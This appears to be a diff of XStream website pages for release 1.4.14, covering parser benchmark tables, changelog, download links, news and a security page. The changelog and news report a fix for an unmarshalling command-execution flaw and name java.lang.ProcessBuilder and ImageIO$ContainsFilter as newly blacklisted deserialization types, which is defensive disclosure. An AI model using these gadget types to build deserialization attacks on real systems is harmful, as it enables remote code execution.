29 the file and use the scripts in the <em>bin</em> directory to execute the benchmarks. Use option -h to look at the
30 options provided by JMH. You may exchange the libraries in the <em>lib</em> directory with other versions of
31 XStream or the individual parsers or you may even add new JMH benchmarks to the default ones of XStream.</p>
32
33 <p>All benchmark values below measure the average throughput in nanosecond per operation. JMH provides additional
34 measurement options, see online help. The maximum deviation for each benchmark is recorded in the reference files
35 of the distributed ZIP file. The benchmark is executed on Linux 4.14.65 Gentoo 64-bit system with an Intel Core i7
36 CPU 920 of 2.67 GHz. Note again, that these values are no replacement for real profiler results and they may
37 vary from run to run (see reference files) due to this machine's background processes. However, it can give you some
38 idea of what you can expect using different parser technologies.</p>
28 (xstream-jmh-&lt;version&gt;-app.zip) as new artifact containing anything required to run the benchmarks. Unpack the file
29 and use the scripts in the <em>bin</em> directory to execute the benchmarks. Use option -h to look at the options provided
30 by JMH. You may exchange the libraries in the <em>lib</em> directory with other versions of XStream or the individual
31 parsers or you may even add new JMH benchmarks to the default ones of XStream.</p>
32
33 <p>All benchmark values below measure the average throughput in nanosecond per operation. JMH provides additional
34 measurement options, see online help. The maximum deviation for each benchmark is recorded in the reference files of the
35 distributed ZIP file. The benchmark is executed on Linux 5.4.48 Gentoo 64-bit system with an Intel Core i7 CPU 920 of 2.67
36 GHz using OpenJDK 11.0.8. Note again, that these values are no replacement for real profiler results and they may vary
37 from run to run (see reference files) due to this machine's background processes. However, it can give you some idea of
38 what you can expect using different parser technologies.</p>
3939
4040 <h2 id="parser">Parser Benchmark</h2>
4141
5050 <th>Nested</th>
5151 </tr>
5252 <tr>
53 <th>W3C DOM (Oracle JDK 1.8.0_181)</th>
54 <td>9710278.896</td>
55 <td>53954694.751</td>
56 <td>5148010.389</td>
53 <th>W3C DOM (Open JDK 11.0.8)</th>
54 <td>10587727.502</td>
55 <td>58925980.509</td>
56 <td>5547526.718</td>
5757 </tr>
5858 <tr>
5959 <th>JDOM (1.1.3)</th>
60 <td>6387821.035</td>
61 <td>6898339.792</td>
62 <td>14111857.552</td>
60 <td>6541414.372</td>
61 <td>6842504.530</td>
62 <td>19329741.881</td>
6363 </tr>
6464 <tr>
6565 <th>JDOM 2 (2.0.5)</th>
66 <td>5921949.583</td>
67 <td>8723291.385</td>
68 <td>10579620.188</td>
66 <td>5870155.438</td>
67 <td>9833407.570</td>
68 <td>18291190.166</td>
6969 </tr>
7070 <tr>
7171 <th>DOM4J (1.6.1)</th>
72 <td>7452345.867</td>
73 <td>93099746.029</td>
74 <td>5533035.930</td>
72 <td>8680900.188</td>
73 <td>79133279.111</td>
74 <td>5501080.957</td>
7575 </tr>
7676 <tr>
7777 <th>XOM (1.1)</th>
78 <td>8204769.944</td>
79 <td>42486494.920</td>
80 <td>8086714.065</td>
78 <td>8062184.585</td>
79 <td>33057256.100</td>
80 <td>5842749.643</td>
8181 </tr>
8282 <tr>
8383 <th>StAX (BEA 1.2.0)</th>
84 <td>2879876.995</td>
85 <td>666062.149</td>
86 <td>572549.126</td>
84 <td>3208123.897</td>
85 <td>862349.819</td>
86 <td>798003.236</td>
8787 </tr>
8888 <tr>
8989 <th>StAX (Woodstox 3.2.7)</th>
90 <td>1845769.311</td>
91 <td>632147.776</td>
92 <td>604788.852</td>
93 </tr>
94 <tr>
95 <th>StAX (Oracle JDK 1.8.0_131)</th>
96 <td>7444273.102</td>
97 <td>706572.092</td>
98 <td>617636.917</td>
90 <td>1958090.473</td>
91 <td>764703.865</td>
92 <td>852446.766</td>
93 </tr>
94 <tr>
95 <th>StAX (Open JDK 11.0.8)</th>
96 <td>8449107.541</td>
97 <td>771151.977</td>
98 <td>630602.435</td>
9999 </tr>
100100 <tr>
101101 <th>XPP (Xpp3 min 1.1.4c)</th>
102 <td>2155470.575</td>
103 <td>661082.180</td>
104 <td>12444913.194</td>
102 <td>2076542.383</td>
103 <td>717142.178</td>
104 <td>12332209.281</td>
105105 </tr>
106106 <tr>
107107 <th>XPP (kXML2 min 2.3.0)</th>
108 <td>3663477.841</td>
109 <td>854613.418</td>
110 <td>34372562.351</td>
111 </tr>
112 <tr>
113 <th>Binary (XStream 1.4.10)</th>
114 <td>1129812.942</td>
115 <td>383203.739</td>
116 <td>260233.635</td>
108 <td>3609529.640</td>
109 <td>886358.766</td>
110 <td>37562872.191</td>
111 </tr>
112 <tr>
113 <th>Binary (XStream 1.4.13)</th>
114 <td>1057890.361</td>
115 <td>385824.031</td>
116 <td>255649.550</td>
117117 </tr>
118118 <tr>
119119 <th>Jettison (1.2)</th>
120 <td>3016232.225</td>
121 <td>555908.503</td>
122 <td>619961.028</td>
120 <td>3610357.375</td>
121 <td>594530.928</td>
122 <td>674957.675</td>
123123 </tr>
124124 </table>
125125
145145 </tr>
146146 <tr>
147147 <th>Custom</th>
148 <td>9176744.283</td>
148 <td>9511483.088</td>
149149 </tr>
150150 <tr>
151151 <th>Java Bean</th>
152 <td>18353984.976</td>
152 <td>18956037.656</td>
153153 </tr>
154154 <tr>
155155 <th>Reflection</th>
156 <td>23371721.858</td>
156 <td>22467750.653</td>
157157 </tr>
158158 </table>
159159
179179 </tr>
180180 <tr>
181181 <th>No Cache</th>
182 <td>9422597.717</td>
182 <td>9381243.000</td>
183183 </tr>
184184 <tr>
185185 <th>Intern</th>
186 <td>12576002.757</td>
186 <td>12528650.663</td>
187187 </tr>
188188 <tr>
189189 <th>ConcurrentMap (length limit)</th>
190 <td>10411028.373</td>
190 <td>10583918.884</td>
191191 </tr>
192192 <tr>
193193 <th>ConcurrentMap (unlimited)</th>
194 <td>10666492.267</td>
194 <td>11762308.937</td>
195195 </tr>
196196 <tr>
197197 <th>Sync'd WeakCache (length limit)</th>
198 <td>10948390.386</td>
198 <td>11104926.490</td>
199199 </tr>
200200 <tr>
201201 <th>Sync'd WeakCache (unlimited)</th>
202 <td>11917404.787</td>
202 <td>11092087.483</td>
203203 </tr>
204204 </table>
205205
240240 </tr>
241241 <tr>
242242 <th>No Coding</th>
243 <td>4190972.243</td>
243 <td>4068459.179</td>
244244 </tr>
245245 <tr>
246246 <th>Dollar Coding</th>
247 <td>4621025.135</td>
247 <td>5006636.275</td>
248248 </tr>
249249 <tr>
250250 <th>Escaped Underscore Coding</th>
251 <td>5896886.514</td>
251 <td>6714770.410</td>
252252 </tr>
253253 <tr>
254254 <th>Cached Escaped Underscore Coding</th>
255 <td>4350643.046</td>
255 <td>4486384.078</td>
256256 </tr>
257257 <tr>
258258 <th>Xml Friendly Coding</th>
259 <td>4938586.549</td>
259 <td>5017414.939</td>
260260 </tr>
261261 </table>
262262
00 <html>
11 <!--
22 Copyright (C) 2005, 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
3232
3333 <p>Not yet released.</p>
3434 -->
35
36 <h1 id="1.4.14">1.4.14</h1>
37
38 <p>Released November 16, 2020.</p>
39
40 <p class="highlight">This maintenance release addresses the security vulnerability
41 <a href="CVE-2020-26217.html">CVE-2020-26217</a>, reported originally as CVE-2017-9805 for Struts' XStream Plugin,
42 an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security framework.</p>
43
44 <h2>Stream compatibility</h2>
45
46 <ul>
47 <li>The types java.lang.ProcessBuilder and javax.imageio.ImageIO$ContainsFilter are now part of the default
48 blacklist and the deserialization of XML containing one of the two types will fail. You will must enable these
49 types by explicit configuration, if you need them.</li>
50 </ul>
51
52 <h1 id="1.4.13">1.4.13</h1>
53
54 <p>Released September 6, 2020.</p>
55
56 <h2>Major changes</h2>
57
58 <ul>
59 <li>GHPR:#218: Defer reflective access to Java core modules.</li>
60 <li>GHI:#207: New predefined blacklist avoids vulnerability due to improper setup of the security framework.</li>
61 </ul>
62
63 <h1 id="1.4.12">1.4.12</h1>
64
65 <p>Released April 12, 2020.</p>
66
67 <h2>Minor changes</h2>
68
69 <ul>
70 <li>XmlFriendlyNameCoder supports now XML parsers implementing only 4th edition of XML 1.0 specification.</li>
71 <li>Fix support of CDATA events in StAX.</li>
72 <li>GHI:#171: XStream.createObjectInputStream does not pass the DataHolder.</li>
73 <li>GHI:#151: Use of SPDX license identifier in POM and Manifest.</li>
74 <li>GHI:#152: Declare OSGi import of internal runtime packages as optional.</li>
75 <li>Drop Require-Capability entry in manifest.</li>
76 </ul>
77
3578 <h1 id="1.4.11.1">1.4.11.1</h1>
3679
3780 <p>Released October 27, 2018.</p>
73116 <li>Old BEA reference implementation of StAX is outdated, unmaintained and has security issues, therefore
74117 XStream's driver has been deprecated.</li>
75118 <li>Support for JaCoCo: FieldDictionary ignores synthetic fields starting with <em>$jacoco</em> as name.</li>
119 <li>Add integration test for OSGi (by Wes Wannemacher).</li>
76120 </ul>
77121
78122 <h2>Stream compatibility</h2>
00 <html>
11 <!--
22 Copyright (C) 2005, 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
1717
1818 <p><a href="versioning.html">About XStream version numbers...</a></p>
1919
20 <h1 id="stable">Stable Version: <span class="version">1.4.11.1</span></h1>
20 <h1 id="stable">Stable Version: <span class="version">1.4.14</span></h1>
2121
2222 <ul>
23 <li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-bin.zip">Binary distribution:</a></b>
23 <li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.14/xstream-distribution-1.4.14-bin.zip">Binary distribution:</a></b>
2424 Contains the XStream jar files, the Hibernate and Benchmark modules and all the dependencies.</li>
25 <li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-src.zip">Source distribution:</a></b>
25 <li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.14/xstream-distribution-1.4.14-src.zip">Source distribution:</a></b>
2626 Contains the complete XStream project as if checked out from the Subversion version tag.</li>
27 <li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11.1/xstream-1.4.11.1.jar">XStream Core only:</a>
27 <li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.14/xstream-1.4.14.jar">XStream Core only:</a>
2828 The xstream.jar only as it is downloaded automatically when it is referenced as Maven dependency.</b></li>
29 <li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-hibernate/1.4.11.1/xstream-hibernate-1.4.11.1.jar">XStream Hibernate module:</a></b>
29 <li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-hibernate/1.4.14/xstream-hibernate-1.4.14.jar">XStream Hibernate module:</a></b>
3030 The xstream-hibernate.jar as it is downloaded automatically when it is referenced as Maven dependency.</li>
31 <li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-jmh/1.4.11.1/xstream-jmh-1.4.11.1-app.zip">XStream JMH module:</a></b>
31 <li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-jmh/1.4.14/xstream-jmh-1.4.14-app.zip">XStream JMH module:</a></b>
3232 The xstream-jmh-app.zip as standalone application with start scripts and all required libraries.</li>
33 <li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11-java7/xstream-1.4.11-java7.jar">XStream Core for Java 7 only:</a>
33 <li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.14-java7/xstream-1.4.14-java7.jar">XStream Core for Java 7 only:</a>
3434 The xstream.jar only <a href="faq.html#Compatibility_Android">without the Java 8 stuff</a> as it is downloaded automatically when it is referenced as Maven dependency.</b></li>
3535 </ul>
36
37 <h1 id="maven">Maven Central Repository</h1>
38
39 <p>XStream is published to the Maven Central Repository. Use the following Maven coordinates to add XStream to
40 your project:</p>
41
42 <div class="Source XML"><pre>&lt;dependency&gt;
43 &lt;groupId&gt;com.thoughtworks.xstream&lt;/groupId&gt;
44 &lt;artifactId&gt;xstream&lt;/artifactId&gt;
45 &lt;version&gt;1.4.14&lt;/version&gt;
46 &lt;/dependency&gt;</pre></div>
3647
3748 <h1 id="previous-releases">Previous Releases</h1>
3849
3950 <p>Previous releases of XStream are also available. However, use of the latest stable version is recommended.</p>
4051
4152 <ul>
42 <li><a href="http://repo.maven.apache.org/maven2/com/thoughtworks/xstream/xstream/">Previous releases (&gt;= 1.2)</a></li>
43 <li><a href="http://repo.maven.apache.org/maven2/xstream/xstream/">Previous releases (&lt;= 1.2)</a></li>
53 <li><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/">Previous releases (&gt;= 1.2)</a></li>
54 <li><a href="https://repo1.maven.org/maven2/xstream/xstream/">Previous releases (&lt;= 1.2)</a></li>
4455 </ul>
4556
4657 <h1 id="optional-deps">Optional Dependencies</h1>
5465 <ul>
5566 <li>Supported XML parsers and packages:
5667 <ul>
57 <li><a href="http://repo.maven.apache.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar">XmlPull</a>, the <a href="http://www.xmlpull.org/">XML pull parser API</a> and factory to detect available implementations.</li>
68 <li><a href="https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar">XmlPull</a>, the <a href="http://www.xmlpull.org/">XML pull parser API</a> and factory to detect available implementations.</li>
5869 <li><a href="http://www.extreme.indiana.edu/dist/java-repository/xpp3/jars/xpp3_min-1.1.4c.jar">Xpp3</a>, an XML pull parser (recommended).</li>
5970 <li><a href="http://downloads.sourceforge.net/kxml/kxml2-2.3.0.jar">kXML2</a> or <a href="http://downloads.sourceforge.net/kxml/kxml2-min-2.3.0.jar">kXML2-min</a>, an XML pull parser.</li>
6071 <li><a href="http://downloads.sourceforge.net/dom4j/dom4j-1.6.1.zip">DOM4J</a>, easy XML representation and manipulation framework.</li>
61 <li><a href="http://www.jdom.org/dist/binary/archive/jdom-1.1.3.zip">JDOM</a>, easy XML representation and manipulation (requires Java 1.2, superseded by JDOM2).</li>
72 <li><a href="http://www.jdom.org/dist/binary/archive/jdom-1.1.3.zip">JDOM</a>, easy XML representation and manipulation (superseded by JDOM2).</li>
6273 <li><a href="http://www.jdom.org/dist/binary/jdom2-2.0.5.zip">JDOM2</a>, easy XML representation and manipulation, successor of JDOM (requires Java 5).</li>
63 <li>StaX, the <a href="http://repo.maven.apache.org/maven2/stax/stax-1.2.0.jar">reference implementation</a> of the <a href="http://repo.maven.apache.org/maven2/stax/stax-api-1.0.1.jar">Streaming API for XML</a>.</li>
64 <li><a href="http://repo.maven.apache.org/maven2/woodstox/wstx-asl-3.2.7.jar">Woodstox</a>, an alternate open source StaX implementation.</li>
74 <li>StaX, the <a href="https://repo1.maven.org/maven2/stax/stax/1.2.0/stax-1.2.0.jar">reference implementation</a> of the <a href="https://repo1.maven.org/maven2/stax/stax-api/1.0.1/stax-api-1.0.1.jar">Streaming API for XML</a>.</li>
75 <li><a href="https://repo1.maven.org/maven2/woodstox/wstx-asl/3.2.7/wstx-asl-3.2.7.jar">Woodstox</a>, an alternate open source StaX implementation.</li>
6576 <li><a href="http://www.cafeconleche.org/XOM/xom-1.1.jar">XOM</a>, another alternative XML API.</li>
6677 </ul>
6778 </li>
6879 <li>Other optional 3rd party dependencies:
6980 <ul>
70 <li><a href="http://repo.maven.apache.org/maven2/javax/activation/activation/1.1.1/activation-1.1.1.jar">Java Activation module</a> for the ActivationDataFlavorConverter. The dependency is required for the Java 11 runtime.</li>
81 <li><a href="https://repo1.maven.org/maven2/javax/activation/activation/1.1.1/activation-1.1.1.jar">Java Activation module</a> for the ActivationDataFlavorConverter. The dependency is required for the Java 11 runtime.</li>
7182 <li><a href="http://downloads.sourceforge.net/joda-time/joda-time-1.6.zip">Joda Time</a> for optional ISO8601 date/time converters in JDK 1.7 or below.</li>
7283 <li><a href="http://downloads.sourceforge.net/cglib/cglib-nodep-2.2.jar">CGLIB</a> for optional support of some proxies generated with the CGLIB Enhancer.</li>
73 <li><a href="http://repo.maven.apache.org/maven2/org/codehaus/jettison/jettison/1.2/jettison-1.2.jar">Jettison</a> for serialization and deserialization support with JSON. Note, that newer versions 1.3.x are no longer compatible with XStream.</li>
74 <li><a href="http://repo.maven.apache.org/maven2/org/codehaus/jettison/jettison/1.0/jettison-1.0.jar">Jettison 1.0.1</a> for serialization and deserialization support with JSON in JDK 1.4. Note, that newer version 1.1 is not compatible with XStream.</li>
84 <li><a href="https://repo1.maven.org/maven2/org/codehaus/jettison/jettison/1.2/jettison-1.2.jar">Jettison</a> for serialization and deserialization support with JSON. Note, that newer versions 1.3.x are no longer compatible with XStream.</li>
85 <li><a href="https://repo1.maven.org/maven2/org/codehaus/jettison/jettison/1.0/jettison-1.0.jar">Jettison 1.0.1</a> for serialization and deserialization support with JSON in JDK 1.4. Note, that newer version 1.1 is not compatible with XStream.</li>
7586 </ul>
7687 </li>
7788 </ul>
8192 <ul>
8293 <li>Supported Hibernate versions:
8394 <ul>
84 <li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-core/4.2.5.Final/hibernate-core-4.2.5.Final.jar">Hibernate Core 4.2.5</a>, for Java 6 or higher.</li>
85 <li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-core/3.6.6.Final/hibernate-core-3.6.6.Final.jar">Hibernate Core 3.6.6</a>, for Java 5.</li>
86 <li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-core/3.3.2.GA/hibernate-core-3.3.2.GA.jar">Hibernate Core 3.3.2</a>, for Java 1.4.</li>
95 <li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-core/4.2.5.Final/hibernate-core-4.2.5.Final.jar">Hibernate Core 4.2.5</a>, for Java 6 or higher.</li>
96 <li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-core/3.6.6.Final/hibernate-core-3.6.6.Final.jar">Hibernate Core 3.6.6</a>, for Java 5.</li>
97 <li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-core/3.3.2.GA/hibernate-core-3.3.2.GA.jar">Hibernate Core 3.3.2</a>, for Java 1.4.</li>
8798 </ul>
8899 </li>
89100 <li>Supported Hibernate Envers versions:
90101 <ul>
91 <li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-envers/4.2.5.Final/hibernate-envers-4.2.5.Final.jar">Hibernate Envers 4.2.5</a>, for Java 6 or higher.</li>
92 <li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-envers/3.6.6.Final/hibernate-envers-3.6.6.Final.jar">Hibernate Envers 3.6.6</a>, for Java 5.</li>
102 <li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-envers/4.2.5.Final/hibernate-envers-4.2.5.Final.jar">Hibernate Envers 4.2.5</a>, for Java 6 or higher.</li>
103 <li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-envers/3.6.6.Final/hibernate-envers-3.6.6.Final.jar">Hibernate Envers 3.6.6</a>, for Java 5.</li>
93104 </ul>
94105 </li>
95106 </ul>
99110 <ul>
100111 <li>JMH dependencies:
101112 <ul>
102 <li><a href="http://repo.maven.apache.org/maven2/org/openjdk/jmh-core/1.19/jmh-core-1.19.jar">JMH Core 1.19</a>, for Java 6 or higher.</li>
103 <li><a href="http://repo.maven.apache.org/maven2/org/openjdk/jmh-generator-annprocess/1.19/jmh-generator-annprocess-1.19.jar">JMH Generator Annotation Processor 1.19</a>, for Java 6 or higher.</li>
113 <li><a href="https://repo1.maven.org/maven2/org/openjdk/jmh/jmh-core/1.19/jmh-core-1.19.jar">JMH Core 1.19</a>, for Java 6 or higher.</li>
114 <li><a href="https://repo1.maven.org/maven2/org/openjdk/jmh/jmh-generator-annprocess/1.19/jmh-generator-annprocess-1.19.jar">JMH Generator Annotation Processor 1.19</a>, for Java 6 or higher.</li>
104115 </ul>
105116 </li>
106117 </ul>
277277 return this;
278278 }
279279 }</pre></div>
280 <p>or</p>
281 <div class="Source Java"><pre>class ThreadAwareComponent {
280 <p>or in case your type implements java.io.Serializable, you have an alternative:</p>
281 <div class="Source Java"><pre>class ThreadAwareComponent implements Serializable{
282282 private transient ThreadLocal component;
283283 // ...
284284 private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
00 <html>
11 <!--
22 Copyright (C) 2005, 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
7272
7373 <h1 id="news">Latest News</h1>
7474
75 <h2 id="1.4.11.1"><b>October 27, 2018</b> XStream 1.4.11.1 released</h2>
75 <h2 id="1.4.14"><b>November 16, 2020</b> XStream 1.4.14 released</h2>
7676
77 <p class="highlight">Hot fix for XStream 1.4.11: Accidental breakage of Java runtimes %lt; 8.</p>
78
79 <p class="highlight">This maintenance release addresses again the security vulnerability <a href="CVE-2013-7285.html">
80 CVE-2013-7285</a>, an arbitrary execution of commands when unmarshalling for XStream instances with
81 uninitialized security framework. Only 1.4.10 with uninitialized security framework was affected.</p>
82
83 <p>New future-proof method JVM.isVersion to detect major version of Java runtime (incl. Java 10) as
84 replacement for individual JVM.isXY methods.</p>
77 <p class="highlight">This maintenance release addresses the security vulnerability
78 <a href="CVE-2020-26217.html">CVE-2020-26217</a>, reported originally as CVE-2017-9805 for Struts' XStream
79 Plugin, an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security
80 framework.</p>
8581
8682 <p>View the complete <a href="changes.html">change log</a> and <a href="download.html">download</a>.</p>
8783
88 <p>Note, the next major release 1.5 will require Java 7.</p>
89
90 <p>Thanks to this impressive list of <a href="team.html#contributors">contributors</a>.</p>
84 <p>Note, the next major release 1.5 will require Java 8.</p>
9185
9286 </body>
9387 </html>
00 <html>
11 <!--
22 Copyright (C) 2005, 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2015 XStream committers.
3 Copyright (C) 2006, 2007, 2015, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
2424
2525 <p>Google Groups provide standard mailing list functionality as well as a user interface in form of a web-based forum.</p>
2626
27 <h2>News</h2>
28
29 <p><a href="http://www.gmane.org/">Gmane</a> offers a news server interface for ordinary mailing lists. The
30 service collects all mails from the mailing list and offers them in a news group. The same news group was already
31 used for the old user's mailing list of Codehaus.</p>
32
33 <iframe src="http://news.gmane.org/gmane.comp.java.xstream.user">
34 <p>View <a href="http://news.gmane.org/gmane.comp.java.xstream.user">archives</a>, provided by Gmane.org</p>
35 </iframe>
36
3727 <h2>Archives</h2>
3828
3929 <p>The former mailing lists hosted at Codehaus are gone, but still available in public archives
00 <html>
11 <!--
22 Copyright (C) 2005, 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
1515
1616 <body>
1717
18 <h2 id="1.4.14"><b>November 16, 2020</b> XStream 1.4.14 released</h2>
19
20 <p class="highlight">This maintenance release addresses the security vulnerability
21 <a href="CVE-2020-26217.html">CVE-2020-26217</a>, reported originally as CVE-2017-9805 for Struts' XStream
22 Plugin, an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security
23 framework.</p>
24
25 <p>View the complete <a href="changes.html">change log</a> and <a href="download.html">download</a>.</p>
26
27 <p>Note, the next major release 1.5 will require Java 8.</p>
28
29 <h2 id="1.4.13"><b>September 6, 2020</b> XStream 1.4.13 released</h2>
30
31 <p>This is a simple maintenance release addressing some minor problems by deferring the initialization of some
32 converters that will cause a warning about reflective access and by using an internal black list for the security
33 framework to avoid unintended misconfiguration.</p>
34
35 <p>View the complete <a href="changes.html">change log</a> and <a href="download.html">download</a>.</p>
36
37 <p>Note, the next major release 1.5 will require Java 8.</p>
38
39 <h2 id="1.4.12"><b>April 12, 2020</b> XStream 1.4.12 released</h2>
40
41 <p>This is a simple maintenance release addressing some minor bugs.</p>
42
43 <p>Note, the next major release 1.5 will require Java 8.</p>
44
45 <h2 id="1.4.11.1"><b>October 27, 2018</b> XStream 1.4.11.1 released</h2>
46
47 <p class="highlight">Hot fix for XStream 1.4.11: Accidental breakage of Java runtimes &lt; 8.</p>
1848
1949 <h2 id="1.4.11"><b>October 23, 2018</b> XStream 1.4.11 released</h2>
2050
00 <html>
11 <!--
2 Copyright (C) 2006, 2007, 2008, 2009, 2011, 2015 XStream committers.
2 Copyright (C) 2006, 2007, 2008, 2009, 2011, 2015, 2020 XStream committers.
33 All rights reserved.
44
55 The software in this package is published under the terms of the BSD
135135 <h1 id="blogs">Blogs and Articles</h1>
136136
137137 <ul>
138 <li>May 24th, 2019: <a href="https://nullbeans.com/configuring-xstream-to-convert-java-objects-to-and-from-xml">A Guide to the XStream library</a> by iba</li>
139 <!--
138140 <li>November 11th, 2011: <a href="http://www.wappworks.com/2011/11/11/using-xstream-with-google-app-engine/">Using XStream with Google App Engine</a> by Chris Khoo</li>
139141 <li>January 22th, 2010: <a href="http://www.openscope.net/2010/01/22/java-xml-and-xstream/">Java, XML and XStream</a> by Antonio Gonzalez</li>
142 -->
140143 <li>September 1st, 2009: <a href="http://www.ibm.com/developerworks/java/library/x-xstrmfo/index.html">Generate PDFs with XStream and XSL-FO</a> by Brian J. Stewart</li>
141144 <li>January 13th, 2009: [German article] <a href="http://www.zdnet.de/anwendungsentwicklung_mit_xstream_lassen_sich_objekte_einfach_und_schnell_serialisieren_story-20000201-39201013-1.htm">Mit XStream lassen sich Objekte einfach und schnell serialisieren</a> by David Petersheim</li>
145 <!--
142146 <li>April 8th, 2008: <a href="http://www.ibm.com/developerworks/java/library/x-xstream/index.html">Use XStream to serialize Java objects into XML</a> by Rajiv Bangalore (updated on July 23th, 2008)</li>
147 -->
143148 <li>February 12th, 2008: <a href="http://www.ibm.com/developerworks/library/x-restfulsoa/">RESTful SOA using XML</a> by Adriaan de Jonge</li>
149 <!--
144150 <li>February 7th, 2007: <a href="http://codeforfun.wordpress.com/2007/02/07/to-the-xstream/">To the XStream</a> by Cliff</li>
151 -->
145152 <li>May 21th, 2006: <a href="http://paulhammant.com/blog/xstream-json.html">Inversionism by Paul Hammant: <i>Using XStream to forward JSON to a browser</i></a></li>
146153 <li>May 21th, 2006: <a href="http://paulhammant.com/blog/xstream-rss.html">Inversionism by Paul Hammant: <i>Using XStream to process standardized XML documents</i></a></li>
147154 <li>May 12th, 2006: <a href="http://www.infoq.com/articles/REST-INTEROP">Paul Hammant and Ian Cartwright: <i>Simple JAVA and .NET SOA interoperability</i></a></li>
148155 <li>January 30th, 2006: <a href="http://www.j2eegeek.com/blog/2006/01/30/life-is-beautiful-with-xmlbeans-and-xstream/">Vinny Carpenter's Blog: <i>Life is beautiful with XMLBeans and XStream</i></a></li>
156 <!--
149157 <li>September 15th, 2005: <a href="http://weblogs.java.net/blog/scottschram/archive/2005/09/the_xstream_lib.html">Scott Schram's Blog: <i>The XStream library offers clean, easy XML serialization of POJOs.</i></a></li>
158 -->
150159 <li>August 5th, 2005: <a href="http://entzi.blogspot.com/2005/08/xstream-jdk15-annotations.html">Emil Kirschner: <i>xstream &amp; jdk 1.5 annotations</i></a></li>
160 <!--
151161 <li>April 27th, 2005: <a href="http://www.jroller.com/CoBraLorD/entry/net_transparent_xml_serialization_xstream">Arne Vandamme's weblog: <i>.NET: transparent XML serialization, XStream for .NET</i></a></li>
152162 <li>December 18th, 2004: <a href="http://jroller.com/page/rickard/20041218">Random Thoughts by Rickard &Ouml;berg: <i>XStream + Xindice = !</i></a></li>
163 -->
153164 <li>August 19th, 2004: <a href="http://www.theserverside.com/news/thread.tss?thread_id=28187">TheServerSide.com by Dion Almaer: <i>Serializing Java Objects with XStream</i></a></li>
154 <li>August 18th, 2004: <a href="http://www.xml.com/lpt/a/1462">XML.com by Michael Fitzgerald: <i>Serializing Java Objects with XStream</i></a></li>
165 <li>August 18th, 2004: <a href="https://www.xml.com/pub/a/2004/08/18/xstream.html">XML.com by Michael Fitzgerald: <i>Serializing Java Objects with XStream</i></a></li>
155166 <!--
156167 <li>June 4th, 2004: <a href="http://uppertank.net/blog/?p=72">Elliot's Nonsense: <i>Deserializing with XStream</i></a></li>
157168 <li>June 4th, 2004: <a href="http://blog.rossmason.com/archives/2004/06/three_reasons_why_i_like_xstream.html">Ross Mason: <i>Three Reasons why I like XStream</i></a></li>
00 <html>
11 <!--
2 Copyright (C) 2014, 2015, 2017 XStream committers.
2 Copyright (C) 2014, 2015, 2017, 2019, 2020 XStream committers.
33 All rights reserved.
44
55 The software in this package is published under the terms of the BSD
2929 <p>The provided XML data is used by XStream to unmarshal Java objects. This data can be manipulated by injecting
3030 the XML representation of other objects, that were not present at marshalling time. An attacker could take
3131 advantage of this to execute arbitrary code or shell commands in the context of the server running the XStream
32 process. A concrete case is described in <a href="CVE-2013-7285.html">CVE-2013-7285</a>.</p>
